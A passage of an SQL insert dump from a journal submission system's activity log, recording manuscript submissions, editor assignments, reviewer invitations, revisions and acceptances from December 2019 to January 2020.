Reviewer',2971,'Publisher',376),(21690,'2019-12-06 11:55:56','Publisher has Invited Reviewer',2971,'Publisher',376),(21691,'2019-12-06 11:55:57','Publisher has Invited Reviewer',2971,'Publisher',376),(21692,'2019-12-06 11:55:59','Publisher has Invited Reviewer',2971,'Publisher',376),(21693,'2019-12-06 11:56:00','Publisher has Invited Reviewer',2971,'Publisher',376),(21694,'2019-12-06 11:56:01','Publisher has Invited Reviewer',2971,'Publisher',376),(21697,'2019-12-06 13:38:16','Manuscript Submitted by Publisher',3033,'Publisher',48),(21698,'2019-12-06 13:38:27','Publisher has been Assigned Editor',3033,'Publisher',48),(21701,'2019-12-06 14:15:15','Manuscript Submitted by Publisher',3035,'Publisher',48),(21702,'2019-12-06 14:15:26','Publisher has been Assigned Editor',3035,'Publisher',48),(21703,'2019-12-06 14:16:00','Publisher has Invited Reviewer',2943,'Publisher',48),(21704,'2019-12-06 14:16:01','Publisher has Invited Reviewer',2943,'Publisher',48),(21705,'2019-12-06 14:16:13','Publisher has Invited Reviewer',2943,'Publisher',48),(21706,'2019-12-06 14:16:14','Publisher has Invited Reviewer',2943,'Publisher',48),(21707,'2019-12-06 14:16:15','Publisher has Invited Reviewer',2943,'Publisher',48),(21708,'2019-12-06 14:16:44','Publisher has Invited Reviewer',3026,'Publisher',48),(21709,'2019-12-06 14:16:45','Publisher has Invited Reviewer',3026,'Publisher',48),(21710,'2019-12-06 14:16:46','Publisher has Invited Reviewer',3026,'Publisher',48),(21711,'2019-12-06 14:16:47','Publisher has Invited Reviewer',3026,'Publisher',48),(21712,'2019-12-06 14:16:48','Publisher has Invited Reviewer',3026,'Publisher',48),(21713,'2019-12-06 14:17:15','Publisher has Invited Reviewer',3033,'Publisher',48),(21714,'2019-12-06 14:17:23','Publisher has Invited Reviewer',3033,'Publisher',48),(21715,'2019-12-06 14:17:31','Publisher has Invited Reviewer',3033,'Publisher',48),(21716,'2019-12-06 14:17:42','Publisher has Invited Reviewer',3033,'Publisher',48),(21717,'2019-12-06 14:17:43','Publisher has Invited Reviewer',3033,'Publisher',48),(21718,'2019-12-06 14:18:19','Publisher has Invited Reviewer',3035,'Publisher',48),(21719,'2019-12-06 14:18:20','Publisher has Invited Reviewer',3035,'Publisher',48),(21720,'2019-12-06 14:18:21','Publisher has Invited Reviewer',3035,'Publisher',48),(21721,'2019-12-06 14:18:22','Publisher has Invited Reviewer',3035,'Publisher',48),(21722,'2019-12-06 14:18:22','Publisher has Invited Reviewer',3035,'Publisher',48),(21761,'2019-12-06 17:18:56','Publisher : Notified Author',557,'Publisher',84),(21763,'2019-12-06 17:23:56','Manuscript Submitted by Publisher',3036,'Publisher',84),(21764,'2019-12-06 17:26:24','Manuscript Submitted by Publisher',3037,'Publisher',84),(21765,'2019-12-06 17:26:38','Publisher has been Assigned Editor',3037,'Publisher',84),(21766,'2019-12-06 17:26:46','Publisher has been Assigned Editor',3036,'Publisher',84),(21767,'2019-12-06 17:41:25','Publisher has Invited Reviewer',3037,'Publisher',84),(21768,'2019-12-06 17:41:37','Publisher has Invited Reviewer',3036,'Publisher',84),(21769,'2019-12-06 18:01:26','Publisher has Invited Reviewer',2832,'Publisher',645),(21792,'2019-12-07 09:46:19','Publisher : Notified Author',555,'Publisher',84),(21793,'2019-12-07 09:46:59','Publisher : Notified Author',557,'Publisher',84),(21794,'2019-12-07 09:55:39','Publisher has been Withdrawn  article',2674,'Publisher',84),(21806,'2019-12-07 10:49:09','Publisher has Invited Reviewer',1674,'Publisher',84),(21812,'2019-12-07 14:49:07','Reviewer has updated comments',3011,'Reviewer',10251),(21813,'2019-12-07 14:53:44','Reviewer has updated comments',3011,'Reviewer',10251),(21814,'2019-12-07 14:53:48','Reviewer has updated comments',3011,'Reviewer',10251),(21815,'2019-12-07 14:54:35','Reviewer has updated comments',3011,'Reviewer',10251),(21819,'2019-12-08 13:14:40','Manuscript Submitted by Author using Submission form',3043,'Author',3984),(21822,'2019-12-09 02:48:07','Manuscript Submitted by Author using Submission form',3045,'Author',3986),(21834,'2019-12-09 09:44:56','Publisher : Notified Editor',1674,'Publisher',84),(21835,'2019-12-09 09:45:56','Editor has been Revise (Notify Author) article',2727,'Editor',221),(21836,'2019-12-09 09:47:37','Publisher : Notified Author',2727,'Publisher',84),(21837,'2019-12-09 09:49:26','Editor has been Revise (Notify Author) article',1674,'Editor',221),(21838,'2019-12-09 09:51:01','Publisher : Notified Author',1674,'Publisher',84),(21839,'2019-12-09 10:31:12','Manuscript has been Revised',2727,'Author',3312),(21859,'2019-12-09 11:14:28','Reviewer has submitted comments',2988,'Reviewer',650),(21860,'2019-12-09 11:26:11','Publisher has been Assigned Editor',2874,'Publisher',972),(21861,'2019-12-09 11:26:44','Publisher has Invited Reviewer',2874,'Publisher',972),(21862,'2019-12-09 11:26:58','Publisher has Invited Reviewer',2874,'Publisher',972),(21863,'2019-12-09 11:26:59','Publisher has Invited Reviewer',2874,'Publisher',972),(21864,'2019-12-09 11:32:01','Publisher : Notified Editor',3011,'Publisher',972),(21865,'2019-12-09 11:33:35','Editor has Accepted to review Manuscript',3011,'Editor',1310),(21867,'2019-12-09 11:34:03','Editor has been Revise (Notify Author) article',3011,'Editor',1310),(21868,'2019-12-09 11:35:04','Publisher : Notified Author',3011,'Publisher',972),(21887,'2019-12-09 13:27:38','Publisher : Notified Editor',2939,'Publisher',645),(21888,'2019-12-09 13:29:47','Publisher : Notified Editor',2768,'Publisher',645),(21889,'2019-12-09 13:31:02','Editor has Accepted to review Manuscript',2939,'Editor',633),(21890,'2019-12-09 13:31:29','Editor has been Editor Decision Accepted article',2939,'Editor',633),(21891,'2019-12-09 13:32:34','Publisher : Notified Editor',2832,'Publisher',645),(21892,'2019-12-09 13:33:22','Editor has Accepted to review Manuscript',2832,'Editor',633),(21893,'2019-12-09 13:33:59','Editor has been Revise (Notify Author) article',2832,'Editor',633),(21894,'2019-12-09 13:34:59','Publisher : Notified Author',2832,'Publisher',645),(21895,'2019-12-09 13:38:19','Editor has been Revise (Notify Author) article',2768,'Editor',634),(21896,'2019-12-09 13:40:59','Publisher : Notified Author',2768,'Publisher',645),(21906,'2019-12-09 15:20:51','Publisher has Invited Reviewer',3037,'Publisher',84),(21907,'2019-12-09 15:20:51','Publisher has Invited Reviewer',3037,'Publisher',84),(21908,'2019-12-09 15:20:52','Publisher has Invited Reviewer',3037,'Publisher',84),(21909,'2019-12-09 15:20:52','Publisher has Invited Reviewer',3037,'Publisher',84),(21910,'2019-12-09 15:22:04','Publisher has Invited Reviewer',3036,'Publisher',84),(21911,'2019-12-09 15:22:04','Publisher has Invited Reviewer',3036,'Publisher',84),(21912,'2019-12-09 15:22:05','Publisher has Invited Reviewer',3036,'Publisher',84),(21913,'2019-12-09 15:22:06','Publisher has Invited Reviewer',3036,'Publisher',84),(21914,'2019-12-09 15:22:07','Publisher has Invited Reviewer',3036,'Publisher',84),(21917,'2019-12-09 15:31:38','Reviewer has submitted comments',3011,'Reviewer',10211),(21918,'2019-12-09 15:38:47','Reviewer has submitted comments',2874,'Reviewer',10211),(21924,'2019-12-09 23:34:04','Reviewer has submitted comments',2874,'Reviewer',10251),(21925,'2019-12-10 01:02:52','Manuscript Submitted by Author',3050,'Author',3736),(21928,'2019-12-10 09:50:56','Publisher : Notified Editor',2727,'Publisher',84),(21934,'2019-12-10 10:41:39','Editor has Accepted to review Manuscript',2874,'Editor',1315),(21935,'2019-12-10 10:42:16','Editor has been Editor Decision Accepted article',2874,'Editor',1315),(21936,'2019-12-10 10:43:35','Editor has been Revise (Notify Author) article',2874,'Editor',1315),(21937,'2019-12-10 10:51:32','Publisher : Notified Author',2874,'Publisher',972),(21949,'2019-12-10 13:23:59','Editor has been Editor Decision Accepted article',2852,'Editor',357),(21950,'2019-12-10 13:24:10','Editor has been Editor Decision Accepted article',2933,'Editor',357),(21951,'2019-12-10 13:27:12','Publisher: Accept Notification has been sent to Author',2933,'Publisher',248),(21952,'2019-12-10 13:27:21','Publisher has been Accepted Articles  article',2933,'Publisher',248),(21953,'2019-12-10 13:27:31','Publisher: Accept Notification has been sent to Author',2852,'Publisher',248),(21954,'2019-12-10 13:27:39','Publisher has been Accepted Articles  article',2852,'Publisher',248),(21987,'2019-12-11 13:38:26','Manuscript Submitted by Author',3055,'Author',4000),(21991,'2019-12-11 14:33:49','Publisher has been Assigned Editor',3050,'Publisher',645),(21992,'2019-12-11 14:33:59','Publisher has been Assigned Editor',3043,'Publisher',645),(22020,'2019-12-12 01:24:00','Reviewer has submitted comments',2874,'Reviewer',10393),(22023,'2019-12-12 11:00:08','Manuscript Submitted by Author using Submission form',3058,'Author',4006),(22056,'2019-12-12 13:24:47','Reviewer has submitted comments',2988,'Reviewer',10287),(22135,'2019-12-13 04:24:58','Reviewer has been sent email to Publisher',2939,'Reviewer',4473),(22137,'2019-12-13 09:36:14','Editor has been Revise (Notify Author) article',2727,'Editor',221),(22138,'2019-12-13 09:38:22','Publisher : Notified Author',2727,'Publisher',84),(22139,'2019-12-13 09:40:32','Manuscript has been Revised',2727,'Author',3312),(22140,'2019-12-13 09:41:00','Publisher : Notified Editor',2727,'Publisher',84),(22141,'2019-12-13 09:41:32','Editor has been Editor Decision Accepted article',2727,'Editor',221),(22142,'2019-12-13 09:42:44','Publisher has been Accepted Articles  article',2727,'Publisher',84),(22143,'2019-12-13 09:43:44','Publisher : Notified Author',555,'Publisher',84),(22144,'2019-12-13 09:43:59','Publisher : Notified Author',557,'Publisher',84),(22145,'2019-12-13 09:44:34','Publisher : Notified Author',1674,'Publisher',84),(22146,'2019-12-13 09:45:34','Publisher has Invited Reviewer',3037,'Publisher',84),(22147,'2019-12-13 09:45:36','Publisher has Invited Reviewer',3037,'Publisher',84),(22148,'2019-12-13 09:45:37','Publisher has Invited Reviewer',3037,'Publisher',84),(22149,'2019-12-13 09:45:38','Publisher has Invited Reviewer',3037,'Publisher',84),(22175,'2019-12-13 10:10:32','Manuscript has been Revised',2645,'Author',2851),(22176,'2019-12-13 10:11:35','Publisher : Notified Editor',2645,'Publisher',85),(22177,'2019-12-13 10:12:44','Editor has been Editor Decision Accepted article',2645,'Editor',1251),(22181,'2019-12-13 10:19:35','Manuscript Submitted by Author using Submission form',3071,'Author',4019),(22182,'2019-12-13 10:19:58','Publisher has been Assigned Editor',3071,'Publisher',645),(22183,'2019-12-13 10:20:34','Publisher has Invited Reviewer',3050,'Publisher',645),(22184,'2019-12-13 10:20:35','Publisher has Invited Reviewer',3050,'Publisher',645),(22185,'2019-12-13 10:20:36','Publisher has Invited Reviewer',3050,'Publisher',645),(22186,'2019-12-13 10:20:37','Publisher has Invited Reviewer',3050,'Publisher',645),(22187,'2019-12-13 10:20:38','Publisher has Invited Reviewer',3050,'Publisher',645),(22188,'2019-12-13 10:21:25','Publisher has Invited Reviewer',3043,'Publisher',645),(22189,'2019-12-13 10:21:26','Publisher has Invited Reviewer',3043,'Publisher',645),(22190,'2019-12-13 10:21:27','Publisher has Invited Reviewer',3043,'Publisher',645),(22191,'2019-12-13 10:21:28','Publisher has Invited Reviewer',3043,'Publisher',645),(22192,'2019-12-13 10:21:28','Publisher has Invited Reviewer',3043,'Publisher',645),(22193,'2019-12-13 10:21:51','Publisher has Invited Reviewer',2858,'Publisher',645),(22195,'2019-12-13 10:25:33','Manuscript Submitted by Author using Submission form',3072,'Author',4020),(22196,'2019-12-13 10:49:11','Publisher has been Withdrawn  article',2661,'Publisher',248),(22230,'2019-12-13 16:39:58','Manuscript Submitted by Author using Submission form',3074,'Author',4022),(22232,'2019-12-13 17:03:08','Publisher has been Assigned Editor',3072,'Publisher',248),(22261,'2019-12-16 13:25:10','Manuscript Submitted by Author',3085,'Author',3375),(22287,'2019-12-17 10:09:17','Publisher has been Assigned Editor',3074,'Publisher',248),(22292,'2019-12-17 10:38:22','Reviewer has submitted comments',2463,'Reviewer',8590),(22293,'2019-12-17 10:39:24','Publisher : Notified Editor',2463,'Publisher',274),(22294,'2019-12-17 10:40:15','Editor has Accepted to review Manuscript',2463,'Editor',1235),(22295,'2019-12-17 10:40:31','Editor has been Editor Decision Accepted article',2463,'Editor',1235),(22297,'2019-12-17 13:20:19','Publisher has been Accepted Articles  article',2617,'Publisher',274),(22307,'2019-12-17 17:29:24','Publisher has Invited Reviewer',3072,'Publisher',248),(22308,'2019-12-17 17:29:25','Publisher has Invited Reviewer',3072,'Publisher',248),(22309,'2019-12-17 17:29:26','Publisher has Invited Reviewer',3072,'Publisher',248),(22310,'2019-12-17 17:29:27','Publisher has Invited Reviewer',3072,'Publisher',248),(22311,'2019-12-17 17:29:27','Publisher has Invited Reviewer',3072,'Publisher',248),(22312,'2019-12-17 17:29:28','Publisher has Invited Reviewer',3072,'Publisher',248),(22313,'2019-12-17 17:31:20','Reviewer has submitted comments',3072,'Reviewer',5407),(22314,'2019-12-17 17:31:55','Publisher : Notified Editor',3072,'Publisher',248),(22315,'2019-12-17 17:32:18','Editor has Accepted to review Manuscript',3072,'Editor',358),(22316,'2019-12-17 17:32:29','Editor has been Revise (Notify Author) article',3072,'Editor',358),(22317,'2019-12-17 17:32:52','Publisher : Notified Author',3072,'Publisher',248),(22320,'2019-12-17 21:15:11','Manuscript Submitted by Author using Submission form',3096,'Author',4051),(22321,'2019-12-17 21:41:50','Author sent Email',3026,'Author',3957),(22323,'2019-12-18 06:28:08','Manuscript Submitted by Author using Submission form',3098,'Author',4054),(22325,'2019-12-18 09:31:59','Editor has Accepted to review Manuscript',2997,'Editor',1235),(22326,'2019-12-18 09:32:22','Editor has been Editor Decision Accepted article',2997,'Editor',1235),(22344,'2019-12-18 10:10:28','Publisher: Accept Notification has been sent to Author',2645,'Publisher',85),(22353,'2019-12-18 10:16:44','Publisher has Invited Reviewer',3071,'Publisher',645),(22354,'2019-12-18 10:16:45','Publisher has Invited Reviewer',3071,'Publisher',645),(22378,'2019-12-18 18:00:40','Manuscript Submitted by Author using Submission form',3101,'Author',4060),(22403,'2019-12-19 11:14:04','Publisher has Invited Reviewer',3011,'Publisher',972),(22425,'2019-12-19 16:48:03','Reviewer has submitted comments',3043,'Reviewer',4512),(22454,'2019-12-20 11:50:45','Publisher has been Assigned Editor',3045,'Publisher',48),(22455,'2019-12-20 11:51:22','Publisher has Invited Reviewer',3045,'Publisher',48),(22456,'2019-12-20 11:51:35','Publisher has Invited Reviewer',3045,'Publisher',48),(22457,'2019-12-20 11:51:36','Publisher has Invited Reviewer',3045,'Publisher',48),(22458,'2019-12-20 11:51:37','Publisher has Invited Reviewer',3045,'Publisher',48),(22459,'2019-12-20 11:51:38','Publisher has Invited Reviewer',3045,'Publisher',48),(22460,'2019-12-20 11:52:14','Publisher has Invited Reviewer',3035,'Publisher',48),(22461,'2019-12-20 11:52:15','Publisher has Invited Reviewer',3035,'Publisher',48),(22462,'2019-12-20 11:52:16','Publisher has Invited Reviewer',3035,'Publisher',48),(22463,'2019-12-20 11:52:17','Publisher has Invited Reviewer',3035,'Publisher',48),(22464,'2019-12-20 11:52:18','Publisher has Invited Reviewer',3035,'Publisher',48),(22473,'2019-12-20 14:45:50','Reviewer has submitted comments',3071,'Reviewer',8796),(22485,'2019-12-21 11:44:59','Editor has Accepted to review Manuscript',3045,'Editor',192),(22486,'2019-12-21 11:46:07','Manuscript has been Revised',3072,'Author',4020),(22487,'2019-12-21 11:46:40','Publisher : Notified Editor',3072,'Publisher',248),(22488,'2019-12-21 11:47:27','Editor has been Editor Decision Accepted article',3072,'Editor',358),(22489,'2019-12-21 11:48:22','Publisher has Invited Reviewer',3074,'Publisher',248),(22490,'2019-12-21 11:48:23','Publisher has Invited Reviewer',3074,'Publisher',248),(22491,'2019-12-21 11:48:24','Publisher has Invited Reviewer',3074,'Publisher',248),(22492,'2019-12-21 11:48:24','Publisher has Invited Reviewer',3074,'Publisher',248),(22493,'2019-12-21 11:48:25','Publisher has Invited Reviewer',3074,'Publisher',248),(22494,'2019-12-21 11:48:46','Publisher has Invited Reviewer',2856,'Publisher',248),(22495,'2019-12-21 11:48:47','Publisher has Invited Reviewer',2856,'Publisher',248),(22496,'2019-12-21 11:48:47','Publisher has Invited Reviewer',2856,'Publisher',248),(22497,'2019-12-21 11:48:48','Publisher has Invited Reviewer',2856,'Publisher',248),(22498,'2019-12-21 11:48:49','Publisher has Invited Reviewer',2856,'Publisher',248),(22534,'2019-12-23 11:42:43','Publisher has Invited Reviewer',2759,'Publisher',85),(22535,'2019-12-23 11:42:44','Publisher has Invited Reviewer',2759,'Publisher',85),(22536,'2019-12-23 11:42:44','Publisher has Invited Reviewer',2759,'Publisher',85),(22537,'2019-12-23 11:42:46','Publisher has Invited Reviewer',2759,'Publisher',85),(22538,'2019-12-23 11:42:46','Publisher has Invited Reviewer',2759,'Publisher',85),(22539,'2019-12-23 11:42:47','Publisher has Invited Reviewer',2759,'Publisher',85),(22569,'2019-12-23 14:52:43','Reviewer has updated comments',2874,'Reviewer',10251),(22580,'2019-12-23 17:20:31','Publisher has been Assigned Editor',3098,'Publisher',972),(22581,'2019-12-23 17:21:17','Publisher has Invited Reviewer',3098,'Publisher',972),(22582,'2019-12-23 17:21:28','Publisher has Invited Reviewer',3098,'Publisher',972),(22583,'2019-12-23 17:56:24','Reviewer has submitted comments',2856,'Reviewer',8599),(22584,'2019-12-23 17:57:06','Publisher : Notified Editor',2856,'Publisher',248),(22585,'2019-12-23 17:58:10','Editor has Accepted to review Manuscript',2856,'Editor',359),(22586,'2019-12-23 17:58:21','Editor has been Revise (Notify Author) article',2856,'Editor',359),(22587,'2019-12-23 17:58:50','Publisher : Notified Author',2856,'Publisher',248),(22625,'2019-12-24 13:11:49','Reviewer has submitted comments',2744,'Reviewer',9914),(22626,'2019-12-24 13:12:30','Publisher : Notified Editor',2744,'Publisher',248),(22627,'2019-12-24 13:13:05','Editor has Accepted to review Manuscript',2744,'Editor',359),(22628,'2019-12-24 13:14:19','Editor has been Revise (Notify Author) article',2744,'Editor',359),(22629,'2019-12-24 13:14:46','Publisher : Notified Author',2744,'Publisher',248),(22708,'2019-12-24 14:12:39','Reviewer has updated comments',3011,'Reviewer',10251),(22709,'2019-12-24 14:13:04','Reviewer has updated comments',3011,'Reviewer',10251),(22710,'2019-12-24 14:13:10','Reviewer has updated comments',3011,'Reviewer',10251),(22711,'2019-12-24 14:13:13','Reviewer has updated comments',3011,'Reviewer',10251),(22712,'2019-12-24 14:15:09','Reviewer has updated comments',3011,'Reviewer',10251),(22713,'2019-12-24 14:15:23','Reviewer has updated comments',3011,'Reviewer',10251),(22715,'2019-12-24 18:42:42','Manuscript has been Revised',2856,'Author',3705),(22722,'2019-12-25 14:28:44','Manuscript Submitted by Author using Submission form',3121,'Author',4088),(22723,'2019-12-25 18:00:56','Manuscript Submitted by Author using Submission form',3122,'Author',4089),(22732,'2019-12-26 09:33:37','Reviewer has submitted comments',3011,'Reviewer',10393),(22749,'2019-12-26 16:45:41','Manuscript Submitted by Publisher',3125,'Publisher',248),(22750,'2019-12-26 16:45:51','Publisher has been Assigned Editor',3125,'Publisher',248),(22751,'2019-12-27 01:06:29','Manuscript Submitted by Author',3126,'Author',4004),(22787,'2019-12-27 14:53:18','Publisher has been Assigned Editor',3126,'Publisher',85),(22800,'2019-12-28 00:34:47','Manuscript Submitted by Author using Submission form',3131,'Author',4098),(22809,'2019-12-28 09:49:21','Publisher has been Assigned Editor',3122,'Publisher',75),(22829,'2019-12-28 09:53:31','Editor has Accepted to review Manuscript',3122,'Editor',160),(22830,'2019-12-28 09:54:35','Editor has Invited Reviewer',3122,'Editor',160),(22831,'2019-12-28 09:54:55','Editor has Invited Reviewer',3122,'Editor',160),(22839,'2019-12-28 09:55:22','Editor has Invited Reviewer',3122,'Editor',160),(22840,'2019-12-28 09:55:23','Editor has Invited Reviewer',3122,'Editor',160),(22841,'2019-12-28 09:55:24','Editor has Invited Reviewer',3122,'Editor',160),(22844,'2019-12-28 10:28:57','Publisher has Invited Reviewer',3126,'Publisher',85),(22845,'2019-12-28 10:28:58','Publisher has Invited Reviewer',3126,'Publisher',85),(22846,'2019-12-28 10:28:59','Publisher has Invited Reviewer',3126,'Publisher',85),(22847,'2019-12-28 10:29:00','Publisher has Invited Reviewer',3126,'Publisher',85),(22848,'2019-12-28 10:29:01','Publisher has Invited Reviewer',3126,'Publisher',85),(22849,'2019-12-28 10:29:02','Publisher has Invited Reviewer',3126,'Publisher',85),(22850,'2019-12-28 10:29:02','Publisher has Invited Reviewer',3126,'Publisher',85),(22859,'2019-12-28 21:32:39','Manuscript Submitted by Author using Submission form',3135,'Author',4103),(22865,'2019-12-29 16:52:59','Editor has Accepted to review Manuscript',3126,'Editor',1291),(22866,'2019-12-29 16:56:29','Editor has Invited Reviewer',3126,'Editor',1291),(22867,'2019-12-29 16:57:55','Editor has Invited Reviewer',3126,'Editor',1291),(22892,'2019-12-30 12:44:58','Manuscript Submitted by Author using Submission form',3140,'Author',4108),(22898,'2019-12-30 13:29:39','Publisher : Notified Editor',3126,'Publisher',85),(22906,'2019-12-30 14:33:52','Editor has been Revise (Notify Author) article',3126,'Editor',1291),(22907,'2019-12-30 14:34:01','Editor has been Revise (Notify Author) article',3126,'Editor',1291),(22908,'2019-12-30 14:34:39','Editor has been Revise (Notify Author) article',3126,'Editor',1291),(22909,'2019-12-30 14:35:24','Editor sent Email',3126,'Editor',1291),(22910,'2019-12-30 15:55:52','Publisher has been Assigned Editor',3140,'Publisher',319),(22926,'2019-12-31 10:02:09','Reviewer has submitted comments',3098,'Reviewer',10393),(22930,'2019-12-31 10:30:59','Editor has been Editor Decision Accepted article',3126,'Editor',1291),(22931,'2019-12-31 10:39:31','Manuscript Submitted by Author using Submission form',3144,'Author',4113),(22933,'2019-12-31 11:54:09','Publisher has Invited Reviewer',2584,'Publisher',274),(22934,'2019-12-31 11:56:57','Reviewer has submitted comments',2584,'Reviewer',8590),(22935,'2019-12-31 11:58:01','Reviewer has submitted comments',2694,'Reviewer',8590),(22936,'2019-12-31 11:59:37','Editor has Accepted to review Manuscript',2584,'Editor',1235),(22937,'2019-12-31 12:00:09','Editor has been Revise (Notify Author) article',2584,'Editor',1235),(22938,'2019-12-31 12:00:24','Editor has Accepted to review Manuscript',2694,'Editor',1235),(22939,'2019-12-31 12:00:39','Editor has been Editor Decision Accepted article',2694,'Editor',1235),(22940,'2019-12-31 12:02:19','Publisher : Notified Author',2584,'Publisher',274),(22944,'2019-12-31 17:44:42','Publisher has Invited Reviewer',3140,'Publisher',319),(22945,'2019-12-31 17:44:44','Publisher has Invited Reviewer',3140,'Publisher',319),(22947,'2019-12-31 20:35:20','Reviewer has submitted comments',3140,'Reviewer',7418),(22948,'2019-12-31 21:17:58','Reviewer has submitted comments',3122,'Reviewer',10287),(23041,'2020-01-02 13:40:26','Publisher has Invited Reviewer',3098,'Publisher',972),(23042,'2020-01-02 13:45:03','Editor has Accepted to review Manuscript',3098,'Editor',1324),(23044,'2020-01-02 14:05:57','Editor has been Editor Decision Accepted article',3011,'Editor',1310),(23047,'2020-01-02 14:35:51','Publisher: Accept Notification has been sent to Author',3126,'Publisher',85),(23048,'2020-01-02 16:01:35','Manuscript Submitted by Author using Submission form',3150,'Author',4120),(23053,'2020-01-02 16:55:25','Publisher : Notified Editor',3071,'Publisher',645),(23054,'2020-01-02 16:56:11','Editor has Accepted to review Manuscript',3071,'Editor',634),(23055,'2020-01-02 16:56:40','Editor has been Editor Decision Accepted article',3071,'Editor',634),(23077,'2020-01-03 13:01:35','Author sent Email',2120,'Author',2710),(23084,'2020-01-03 14:07:16','Publisher has been Assigned Editor',3150,'Publisher',972),(23085,'2020-01-03 14:07:38','Publisher has Invited Reviewer',3150,'Publisher',972),(23086,'2020-01-03 14:07:50','Publisher has Invited Reviewer',3150,'Publisher',972),(23107,'2020-01-03 14:57:00','Publisher has Invited Reviewer',3050,'Publisher',645),(23108,'2020-01-03 14:57:01','Publisher has Invited Reviewer',3050,'Publisher',645),(23129,'2020-01-03 21:58:55','Manuscript Submitted by Author using Submission form',3154,'Author',4125),(23150,'2020-01-05 01:44:44','Reviewer has updated comments',3140,'Reviewer',7415),(23151,'2020-01-05 01:44:53','Reviewer has updated comments',3140,'Reviewer',7415),(23152,'2020-01-05 01:45:09','Reviewer has updated comments',3140,'Reviewer',7415),(23158,'2020-01-06 09:17:02','Publisher : Notified Editor',3140,'Publisher',319),(23159,'2020-01-06 09:18:08','Editor has Accepted to review Manuscript',3140,'Editor',1069),(23160,'2020-01-06 09:19:24','Editor has been Revise (Notify Author) article',3140,'Editor',1069),(23161,'2020-01-06 09:24:21','Publisher : Notified Author',3140,'Publisher',319),(23179,'2020-01-06 10:26:49','Publisher has Invited Reviewer',3050,'Publisher',645),(23222,'2020-01-07 09:39:57','Publisher has been Accepted Articles  article',2997,'Publisher',274),(23233,'2020-01-07 10:55:10','Reviewer has submitted comments',3050,'Reviewer',10779),(23234,'2020-01-07 11:23:57','Publisher : Notified Editor',3050,'Publisher',645),(23259,'2020-01-07 14:16:30','Publisher has been Assigned Editor',3154,'Publisher',75),(23268,'2020-01-07 20:41:02','Editor has Accepted to review Manuscript',3154,'Editor',160),(23269,'2020-01-07 20:42:09','Editor has Invited Reviewer',3154,'Editor',160),(23270,'2020-01-07 20:42:41','Editor has Invited Reviewer',3154,'Editor',160),(23271,'2020-01-07 20:42:48','Editor has Invited Reviewer',3154,'Editor',160),(23272,'2020-01-07 20:42:49','Editor has Invited Reviewer',3154,'Editor',160),(23273,'2020-01-07 20:42:50','Editor has Invited Reviewer',3154,'Editor',160),(23275,'2020-01-08 01:19:17','Reviewer has submitted comments',3150,'Reviewer',10393),(23324,'2020-01-09 14:39:29','Manuscript Submitted by Author using Submission form',3177,'Author',4158),(23336,'2020-01-09 18:58:02','Manuscript Submitted by Author using Submission form',3178,'Author',4159),(23357,'2020-01-10 10:52:48','Manuscript Submitted by Author',3183,'Author',3889),(23359,'2020-01-10 15:15:12','Manuscript Submitted by Publisher',3185,'Publisher',319),(23360,'2020-01-10 15:15:29','Publisher has been Assigned Editor',3185,'Publisher',319),(23362,'2020-01-10 16:35:16','Publisher has been Assigned Editor',3178,'Publisher',376),(23363,'2020-01-10 17:39:49','Publisher has been Assigned Editor',3183,'Publisher',274),(23368,'2020-01-11 09:24:30','Editor has Accepted to review Manuscript',3185,'Editor',1067),(23369,'2020-01-11 15:36:42','Manuscript Submitted by Author using Submission form',3188,'Author',4173),(23374,'2020-01-12 23:15:45','Manuscript Submitted by Author using Submission form',3192,'Author',4182),(23376,'2020-01-13 09:17:15','Publisher has Invited Reviewer',3178,'Publisher',376),(23377,'2020-01-13 09:17:51','Publisher has Invited Reviewer',3178,'Publisher',376),(23378,'2020-01-13 09:18:37','Publisher has Invited Reviewer',3178,'Publisher',376),(23379,'2020-01-13 09:19:13','Publisher has Invited Reviewer',3178,'Publisher',376),(23380,'2020-01-13 09:44:44','Publisher has Invited Reviewer',3185,'Publisher',319),(23381,'2020-01-13 09:44:45','Publisher has Invited Reviewer',3185,'Publisher',319),(23397,'2020-01-13 10:43:34','Publisher has been Assigned Editor',3177,'Publisher',85),(23398,'2020-01-13 11:06:01','Publisher has Invited Reviewer',3177,'Publisher',85),(23399,'2020-01-13 11:06:02','Publisher has Invited Reviewer',3177,'Publisher',85),(23400,'2020-01-13 11:06:03','Publisher has Invited Reviewer',3177,'Publisher',85),(23401,'2020-01-13 11:06:04','Publisher has Invited Reviewer',3177,'Publisher',85),(23402,'2020-01-13 11:06:05','Publisher has Invited Reviewer',3177,'Publisher',85),(23403,'2020-01-13 11:06:06','Publisher has Invited Reviewer',3177,'Publisher',85),(23404,'2020-01-13 11:06:07','Publisher has Invited Reviewer',3177,'Publisher',85),(23405,'2020-01-13 11:06:08','Publisher has Invited Reviewer',3177,'Publisher',85),(23406,'2020-01-13 11:06:09','Publisher has Invited Reviewer',3177,'Publisher',85),(23407,'2020-01-13 11:06:10','Publisher has Invited Reviewer',3177,'Publisher',85),(23408,'2020-01-13 11:06:11','Publisher has Invited Reviewer',3177,'Publisher',85),(23409,'2020-01-13 11:06:12','Publisher has Invited Reviewer',3177,'Publisher',85),(23410,'2020-01-13 11:06:13','Publisher has Invited Reviewer',3177,'Publisher',85),(23411,'2020-01-13 11:06:14','Publisher has Invited Reviewer',3177,'Publisher',85),(23412,'2020-01-13 11:06:15','Publisher has Invited Reviewer',3177,'Publisher',85),(23413,'2020-01-13 11:19:10','Publisher has been Withdrawn  article',1674,'Publisher',84),(23426,'2020-01-13 13:44:57','Manuscript Submitted by Publisher',3195,'Publisher',972),(23427,'2020-01-13 13:45:34','Publisher has been Assigned Editor',3195,'Publisher',972),(23428,'2020-01-13 13:45:57','Publisher has Invited Reviewer',3195,'Publisher',972),(23429,'2020-01-13 13:45:58','Publisher has Invited Reviewer',3195,'Publisher',972),(23430,'2020-01-13 13:46:21','Publisher has Invited Reviewer',3195,'Publisher',972),(23444,'2020-01-13 16:51:53','Publisher : Notified Editor',2856,'Publisher',248),(23445,'2020-01-13 16:52:59','Editor has been Editor Decision Accepted article',2856,'Editor',359),(23446,'2020-01-13 16:53:34','Publisher has been Accepted Articles  article',2856,'Publisher',248),(23447,'2020-01-13 16:54:48','Manuscript Updated',3177,'Publisher',85),(23448,'2020-01-13 16:55:02','Reviewer has submitted comments',3074,'Reviewer',5406),(23449,'2020-01-13 16:55:41','Publisher : Notified Editor',3074,'Publisher',248),(23450,'2020-01-13 16:56:06','Editor has Accepted to review Manuscript',3074,'Editor',357),(23451,'2020-01-13 16:56:14','Editor has been Revise (Notify Author) article',3074,'Editor',357),(23452,'2020-01-13 16:56:34','Publisher : Notified Author',3074,'Publisher',248),(23453,'2020-01-13 17:02:50','Publisher has Invited 